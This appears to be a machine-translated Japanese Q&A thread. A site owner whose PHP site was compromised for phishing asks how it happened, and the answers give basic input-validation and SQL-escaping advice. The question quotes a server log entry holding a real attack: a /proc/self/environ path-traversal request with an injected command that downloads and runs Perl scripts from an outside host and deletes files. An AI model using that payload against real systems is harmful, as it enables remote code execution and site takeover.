1

私のウェブサイトはフィッシング目的で攻撃されました。複雑なウェブサイトですが、私は投稿ファイルとPHPファイルのみを使用しています。

彼らはどうやって私を攻撃することができますか?私は$_POSTのみを使用しているので、SQLコマンドとパラメーターは表示されないと思います。私の小さなコーディングリストとWebサイトへのアクセスだけのフレームワークはありません。

任意のヒント/提案をいただければ幸いです。

直接返信しない場合は申し訳ありませんが、サイト全体をブロックしたプロバイダーと取引しています。

これが彼らの答えです(それについてのコメントは歓迎されます):

スクリプトインジェクションはサイトコード自体を攻撃するため、Webサーバーのセキュリティを完全に回避することができます。残念ながら、一部のコンテンツ管理システム(特に古いバージョンのJoomla)は、この形式の攻撃の影響を非常に受けやすくなっています。

攻撃者がこの方法を使用する機能を削除する簡単な方法は、次のコンテンツを含むphp.iniファイルをWebサイトのトップレベルに追加することです。ただし、Webサイトは後でテストして、正当なWebサイトのスクリプト化されたアクションは、変更の影響を受けています。


php.iniディレクティブは...

allow_url_include = "0"

allow_url_fopen = "0"

アップデート:

これが私がウェブホスト会社から得たものです:

121.254.216.170 --- [2011年9月12日:05:21:07 +0100] "GET /?p=../../../../../../../../ ../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806"-"" http://some.thesome.com/etc/ byz.jpg?-O / tmp / cmd548; cd / tmp; lwp-download http://some.thesome.com/etc/cup.txt ; perl cup.txt; rm -rf * .txt *; wget http: //some.thesome.com/etc/update.txt;perl update.txt; rm -rf * .txt *'); echo \ "#j13mb0t \" ;?> "

4

3 に答える 3

2

POSTリクエストは、たとえばcURLを使用して手動で発行することもできます。人々がtelnet端末を開いてコマンドを手動で発行し、任意のパラメータをWebサイトに送信することを妨げる人は誰もいません。

代わりに、常にWebサイトを保護し、入力を検証する必要があります。それらがPOST、GET、またはその他の場所からのものであるかどうか。また、PHPの標準のmysql関数の代わりにPDOを使用することをお勧めします。

あなたのウェブサイトでどのようなことがattack起こったのか詳しく教えてください。

于 2011-09-12T13:26:59.140 に答える
1

サーバーがハッキングされる可能性のある方法はたくさんあります。あなたのプロジェクトやサーバーについてもっと知らなければ、あなたのケースでそれがどのように起こったのかをあなたに伝えるのは難しいです。

しかし、いくつかのヒント:

データベースに書き込まれるデータは常にエスケープするようにしてください。たとえば、mysql_real_escape_string()を使用できます。スクリプトへの攻撃とは別に、FTPやSSHなどを介してサーバーも攻撃された可能性があります。

それとは別に、使用するすべての一般的なフレームワーク/ライブラリを必ず更新してください。

于 2011-09-12T13:31:22.013 に答える
0

$ _POSTは、SQL攻撃をブロックするための有効な方法ではありません。$_GETまたは$_POSTから受信するすべての値のパラメーターを使用してプリペアドステートメントを使用するか、これらすべてのパラメーターにmysql_real_escape_stringを使用する必要があります。

于 2011-09-12T13:31:47.987 に答える